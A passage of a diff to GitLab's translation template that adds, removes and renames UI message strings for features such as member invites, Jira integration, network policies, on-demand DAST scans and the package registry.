+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,7 +14111,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
